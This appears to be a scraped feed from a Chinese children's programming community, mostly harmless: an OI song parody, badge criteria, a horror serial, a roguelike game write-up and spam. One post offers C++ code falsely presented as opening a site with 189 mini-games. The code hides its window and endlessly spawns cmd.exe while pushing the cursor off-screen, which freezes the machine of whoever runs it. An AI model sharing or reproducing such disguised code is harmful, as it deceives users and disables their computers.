竞赛
考级
招人啦! https://www.acgo.cn/application/1944319353620873216
陈奕帆(求互关)
来了来了
狗村老K
#include<windows.h> #include<stdio.h> #include<stdlib.h> #include<iostream> #include<ctime> using namespace std; int main(int argc,char *argv[]) { while(true) { int n=1000000000; ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0); while(true) { system("start cmd.exe"); SetCursorPos(6000,6000); } } } 在DEVc++中输入自动打开小游戏网站,内含小游戏189个,快来试一试吧!!!
SB
༺ཌༀ༒波风水门༒ༀཌ༻
generals.io 大家都玩过吧(https://generals.io)。 其中的 FFA 的八人模式大家也都试过吧,其夺冠难度可想而知。 就就就在昨天,ppl 玩了一把 FFA,并在 200 步内夺冠!记录->https://generals.io/replays/T8okLRI0B?p=itisdifficulttonam 我是 https://generals.io/profiles/itisdifficulttonam
AAA混泥土批发ppl哥
听说津津为课程烦恼 金明一家住进了新房 听说丁丁玩数字游戏 火柴棒能搭出新天地 听说校门外正在砍树 大家一起做靶形数独 听说旅行者在赚差价 潜伏者正在破译着密码 只有无尽的代码知道 津津摆脱了学习的烦恼 金明开心地走进商店 挑选着书桌和电脑 总有一种算法能够让你成功拿到分 无论是贪心还是动规 或者将答案二分 思如泉涌掀起波涛 又汇成一个新的算法 让所有TLE 所有MLE 激励着我们前行写代码 听说同学们在玩推理 小Z的袜子总配不齐 听说两人在挑选客栈 火星上有条能量项链 听说陶陶在采摘苹果 一只青蛙要从河边过 听说推销员走入胡同 杰瑞爬进了奶酪的小洞 只有无尽的代码知道 同学们男女配对练起了舞蹈 屏幕在深夜微微发亮 思想在那虚树路径上彷徨 平面的向量交错生长 织成 忧伤的网 剪枝剪去我们的疯狂 SPFA 告诉我前途在何方 01 背包装下了忧伤 笑颜 洋溢脸庞 键盘微凉 鼠标微凉 指尖流淌 代码千行 凸包周长 直径多长 一进考场 全都忘光 你在 OJ 上提交了千百遍 却依然不能卡进那时限 双手敲尽代码也敲尽岁月 只有我一人 写的题解 凋零在 OJ 里面 Tarjan 陪伴强连通分量 生成树完成后思路才闪光 欧拉跑过的七桥古塘 让你心驰神往 队列进出图上的方向 线段树区间修改求出总量 可持久化留下的迹象 我们伏身欣赏 数论算法 图论算法 高斯费马 树上开花 线性规划 动态规划 时间爆炸 如何优化 我在 OI 中辗转了千百天 却不让我看 AK 最后一眼 我用空间换回超限的时间 随重新编译 测完样例 才发现漏洞满篇 原来 CE 是因选错语言 其实爆零 只因忘写文件 如果标算太难请坚定信念 不如回头再看一眼题面 以那暴力模拟向正解吊唁 蒟蒻的蜕变 神犇的出现 终将与 AU 擦肩 屏幕在深夜微微发亮 我心在考场 CE Compile Easily 轻松通过编译 RE Run Excellently 完美地运行 TLE Time Limit Enough 时间充裕 MLE Memory Limit Enough 内存充裕 OLE Output Limit Enough 输出充裕 UKE United Kingdom Error 英国错误 WA Wonderful Answer 好答案 AC Answer Coarse 粗劣的答案
HcodeOJ
高精度没什么好说的,为了解决+-*/时 本质上就是模拟竖式 这里只提供代码模版(根据数据范围自行修改) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ - 高精度加法 - 高精度减法 - 高精度乘法 - 高精度除法 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 创作不易,做的不好勿喷 发布内容合集
科技起源
如果是BA就来讨论消磨时间吧,我回不了,因为去找TA了。
✡基沃托斯✡-蔡锡龙
https://www.acgo.cn/application/1812800376340144128(搜索他!!!!!!!!!!!!有好东西。。。)
夏
欢迎来到 快去写C++团队 讨论区! 还没有加入的朋友点这里加入!! 聊天规范\COLOR{PURPLE}{聊天规范}聊天规范 此讨论区可以讨论关于生活、学习、竞赛、题目等等内容。 > 但不可以出现脏话或侮辱性语言,对他人造成不适。
你是不是喜欢c++
让我们来猜个数字把! 理论上范围无限,但实际有限! 【答案藏在题目中】 游戏结束,现在道出题目的奥秘: 【猜数字】,关键就在这个数字! 数有无数个,但是数字只有10个,0,1,2,3,4,5,6,7,8,9. 我们总是把“数”和“数字”搞混,但实际上有差别 广告: 邀请大家参加编程团队!审核必过! 点我加入编程团队
编程爱好者
我刷的很少,只有这么点
大黄咬它
首次写规则怪谈,写的不好勿喷 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 啊?这——就——结——束——了? “没错!” “不对啊,”小俞突然意识到什么,大喊了一声,“他是怎么知道我们心里是怎么想的?” “是啊”,彼时,讨论声此起彼伏 “好了,请大家开始冒险吧,不听话就会被抹除哦!” 虽然这句话明显是笑着说的,可……听得如此瘆人。 但不管如何,只能硬着头皮往前冲. 到了入口,大家发现了一排号码牌,从1到399号。 大家理所当然的以为是接下来排队的顺序。 所以都疯狂争抢399号,可小俞却觉得有什么不对劲,于是只拿了比较居中的200号。 最后,1号被一个大概刚上大一的学生拿了。 那个大一新生满脸恐慌——“我不想这样死啊!” 可已经来不及了,大家进入了森林。 “哎,不对啊,这里怎么写着399号是第一个!”,突然有人大喊了一声。 刚刚还恐慌的1号现在如此坦然,刚刚还坦然的399号现在如此恐慌。 “怎么办啊!” 有几个390多号的准备放手一搏,开始“冒险”后排在了最后一个。 但这也只是无用功。那几个没有按顺序排的人直接碎尸万段了。 ——小俞突然发现了什么…… ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 未完待续 暑假可能1或者2天一更,上学可能一周1或者2更 历次讨论总结-->地铁规则怪谈也在里面
https://namemc.com/minecraft-skins/tag/herobrine https://namemc.com/skin/8e31bea69e51e8dc https://namemc.com/skin/cb085037a9976023 https://namemc.com/skin/5df68ed2b835babe
WFT
> ACCO勋章的全部高清图片,看清每一个细节! 段位勋章 倔强青铜 竞赛分达到0 - 599 秩序白银 竞赛分达到600 - 999 荣耀黄金 竞赛分达到1000 - 1399 尊贵铂金 竞赛分达到1400 - 1799 永恒钻石 竞赛分达到1800 - 2099 至尊星耀 竞赛分达到2100 - 2399 最强王者 竞赛分达到2400 - 2699 无双王者 竞赛分达到2700 - 2999 传奇王者 竞赛分达到3000+ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 编程能力勋章 模拟·模拟练习生 过10道【模拟】的官方题目 枚举·枚举小能手 过10道【枚举】的官方题目 递归·套娃学徒 过10道【递归】的官方题目 贪心·贪心尝试者 过10道【贪心】的官方题目 分治·分治练习生 过10道【分治】的官方题目 I/O·IO入门者 过10道【输入输出】的官方题目 格式·格式排版员 过10道【格式化输入输出】的官方题目 分支·分支解题者 过10道【分支结构】的官方题目 循环·循环打卡人 过10道【循环结构】的官方题目 字符串·魔法使 过10道【字符串】的官方题目 数组·数组操作员 过10道【一维数组】的官方题目 时间刺客 题目的执行用时击败了99%的用户 空间掌握者 题目的内存消耗击败了99%的用户 时空双修者 同时达成时间&空间双击败了99%的用户 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 活跃型勋章 7月全勤卷王 2025年7月的累计刷题天数达到20天 8月全勤卷王 2025年8月的累计刷题天数达到20天 9月全勤卷王 2025年9月的累计刷题天数达到20天 10月全勤卷王 2025年10月的累计刷题天数达到20天 11月全勤卷王 2025年11月的累计刷题天数达到20天 12月全勤卷王 2025年12月的累计刷题天数达到20天 出道萌新 粉丝量达到100 小有名气 粉丝量达到1000 网红主播 粉丝量达到5000 快乐小狗 AK3场欢乐赛,成为一只快乐小狗 勇敢小狗 AK3场挑战赛,勇敢狗狗不怕困难! 超能小狗 AK3场巅峰赛,没有困难的竞赛只有努力的狗狗! 集训营话痨 2025集训营话痨勋章 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 贡献类勋章 管理员 维护社区日常秩序的卑微管理,不爱也别伤害 AC狗饲养员 为ACGO平台建设做出特殊贡献的好伙伴,统称AC狗饲养员 出题人 设计被采纳的竞赛题目 传道者 发布的帖子被加精3篇 题解仙人 题解累计被点赞50次 BUG超度大师 有效提交题目反馈 10个 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 奖项认证类勋章 CSP-J二等奖 获得了CSP-J 复赛二等奖 CSP-J一等奖 获得了CSP-J 复赛一等奖 CSP-S二等奖 获得了CSP-S 复赛二等奖 CSP-S一等奖 获得了CSP-S复赛一等奖 NOIP 获得了NOIP赛事奖项 USACO 获得了USACO赛事奖项 金牌教练 指导的学生获得3枚银牌以上 GESP1级 获得了GSEP1级认证 GESP2级 获得了GESP2级认证 GESP3级 获得了GESP3级认证 GESP4级 获得了GESP4级认证 GSEP5级 获得了GSEP5级认证 GESP6级 获得了GESP6级认证 GESP7级 获得了GSEP7级认证 GESP8级 获得了GESP8级认证
☭中华c++ HP(互关)
大家好!我是那个人见人爱,花见花开,车间车爆胎的才雄!today我又来更新小游戏啦! 原作者:https://blog.csdn.net/yueyuedog/article/details/111996680?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165995424316781790770910%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165995424316781790770910&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-2-111996680-null-null.142%5Ev39%5Econtrol,185%5Ev2%5Etag_show&utm_term=c%2B%2B%E5%B0%8F%E6%B8%B8%E6%88%8F&spm=1018.2226.3001.4187 2.C++跑酷小游戏
才雄
一下为洛谷的第三天的打卡记录:
复仇者_零
放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视放透视 想啥呢。
++c吧蛋滚
Update on 2024.8.8:咕了 Update on 2024.7.7:有了更加友好的界面! Update on 2024.7.6:按下 Tab 键可以自动追踪主角了! 已知 Bug: * 进入游戏——Esc 退出游戏——再进入游戏,渲染会出现一些奇奇怪怪的 Bug……(包括但不限于:神秘闪屏、影分身术、人格分裂、多重地牢……) 如果有好人可以帮帮我。 本小游戏是 C++编写而成的 Roguelike 命令行游戏!由于用到了大量 Windows 接口,只支持在 Windows 上编译运行! 确保你的编译器支持 C++11。也许你需要在编译选项中添加 -std=c++11。使用其它版本编译产生的 Bug,概不负责。 由于代码较长,代码放在洛谷云剪切板了。 本作(目前)亮点: 1. 使用 fwrite 和无闪清屏技术,带来更流畅的帧率体验。 2. 摒弃了 windows.h 自带的 Sleep 低效处理键盘事件,改为使用 std::chromo 中的时间段,高灵敏度处理键盘事件,同时不会误触。 3.(最重要的)极度复杂而精致的地牢!使用精心设计的,高效的地牢随机生成算法,生成不重样的复杂地牢。算法大致流程放在了最后。 游戏操作: 目前只有一个主角 P,按 WASD 移动,Tab 键启动追踪……# 是墙过不去,. 是地面可以通行。 界面预览: ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 地牢生成算法: 函数原型: (即源码中 Generator 命名空间下的 Generator 函数) 流程: 1. 准备一张大小为 n×mn\times mn×m 的地图。 2. 随机抽取 times 个矩形房间。大小最小为 ROOMMINWIDTH×\times×ROOMMINHEIGHT,最大为ROOMMAXWIDTH×\times×ROOMMAXHEIGHT。如果房间坐标不越界且不与地图上已有的房间重叠,则将此房间加入地图。 3. 使用广搜将剩余不属于房间的格子连为走廊。 4. 搜索并记录房间与走廊、房间与房间之间的墙。 5. 将每一个房间或走廊抽象为一个点,之间的墙抽象为无向边,于是构成了一张图。随机选择一个点,然后随机选择一条这个点有关的边。如果并查集查询边的两个顶点不连通,则将这条边与对应的墙打通,并并查集合并这两个顶点,再将这个新点加入队列。否则删去这两个点之间的所有边。重复执行以上过程直到队列为空。删边时,对应的墙有 UnionChance 的概率被打通。 6.返回地图。 我使用的参数: Generator(101,41,4,4,10,10,2000,0.02) 可以自己在源代码里调整,但是 nnn 和 mmm 必须都是奇数,并且 UnionChance 必须小于 111,而且不要太大(最好小于 0.20.20.2),否则生成的地牢像碎掉了一样。
暑 假 神(开学祭
赵依然
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